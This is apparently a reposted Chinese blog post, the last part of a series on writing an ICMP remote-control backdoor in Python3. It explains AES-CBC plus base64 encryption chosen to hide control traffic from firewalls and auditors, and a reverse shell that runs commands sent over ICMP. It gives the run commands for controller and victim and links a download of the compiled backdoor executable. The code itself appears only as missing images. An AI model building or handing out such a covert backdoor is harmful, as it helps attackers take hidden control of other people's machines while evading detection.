1. 程式人生 > >Python3實現ICMP遠控後門(下)之“Boss”出場

Python3實現ICMP遠控後門(下)之“Boss”出場

長度 nic hat rom 模式 redirect 管理員 rtl 是個


ICMP後門

前言

第一篇:Python3實現ICMP遠控後門(上)

第二篇:Python3實現ICMP遠控後門(上)_補充篇

第三篇:Python3實現ICMP遠控後門(中)之“嗅探”黑科技

熬到最後一篇了,本系列的Boss要出場了,實現了一個有意思的ICMP後門,暫時使用pyinstaller打包成了一個win32和64版本,如下圖所示。

技術分享圖片

在前幾篇的基礎上,本篇擴展的知識點為數據的加密和解密,以及shell的調用,並最終生成一個可用的ICMP後門。本篇總共分為五節,需要花費5分鐘時間。

第一節 通信的加密與解密

ICMP遠控采用的是ICMP協議進行通信,為了確保通信的保密性,防止防火墻或者審計人員探測出控制信息,決定對ICMP數據域的內容進行加密處理。

本次采用的是AES加密與base64編碼相結合的方式。AES為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加解密流程如下圖:

技術分享圖片

AES只是個基本算法,實現AES有若幹模式。其中的CBC模式因為其安全性而被TLS(就是https的加密標準)和IPSec(win采用的)作為技術標準。簡單地說,CBC使用密碼和salt(起擾亂作用)按固定算法(md5)產生key和iv。然後用key和iv(初始向量,加密第一塊明文)加密(明文)和解密(密文)。

下面介紹ICMP遠控的加密解密方案,對於AES加解密,這裏采用CBC模式,在Python3.5及之前版本使用pycrypto?模塊,之後版本使用pycrytodome模塊。

加密

先是使用AES加密,對於傳入的加密內容長度必須為16的倍數,不足則補為16的倍數,我這裏是設置的補為32的倍數。使用AES加密結束後,對加密後的內容進行base64編碼,以便傳輸。

技術分享圖片

解密

先是對加密後的內容進行base64解碼,接著在進行AES解密,最後去掉為了對齊填充的內容。

技術分享圖片

技術分享圖片

第二節 Shell調用

ICMP後門最基本的功能就是完成shell的調用,也就是經常說的反彈shell。反彈的shell即是受控端的shell,控制端通過ICMP協議將shell命令發送給受控端,受控端調用shell執行命令,並將命令結果通過ICMP協議回傳給控制端。Python中對shell的調用如下:

技術分享圖片

第三節 程序的整體結構

代碼中總共有三個類,父類Transfer,兩個子類client和server。Transfer類主要完成了socket初始化,加解密,icmp協議封包的通用功能。同時提供了一個reverse方法需要子類實現。

父類Transfer

技術分享圖片

子類client

技術分享圖片

子類server

技術分享圖片

第四節 使用方法

以我生成的icmpshell_win32.exe為例,為了方便演示,開啟了一個VM虛擬機,和主機組成局域網,VM虛擬機中運行的是win7 32位的系統,主機運行的是win7 64的系統。主機的ip為192.168.72.4,虛擬機的ip為192.168.72.133.

主機作為控制端,虛擬機作為受控端。首先在主機上運行如下命令(管理員權限運行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s參數用於指明控制端的ip

在受控端運行如下命令(管理員權限運行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l參數用於指明受控端的ip,-c參數用於指明要連接的控制端的ip

受控端運行效果

技術分享圖片

控制端運行效果

執行dir命令和tasklist命令

技術分享圖片

whoami命令

技術分享圖片

icmpshell源代碼已經優先上傳到知識星球中,想看源代碼的朋友請關註我的知識星球。

如果大家只是想玩一下,給大家提供了icmpshell_win32.exe的下載鏈接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密碼:8rgu

最後

如果覺得本文還可以,一定記得推薦喲。歡迎關註我的公眾號,知識星球在菜單中。

技術分享圖片

回復【1】:領取 Python數據分析 教程大禮包
回復【2】:領取 Python Flask 全套教程
回復【3】:領取 機器學習 全套教程

Python3實現ICMP遠控後門(下)之“Boss”出場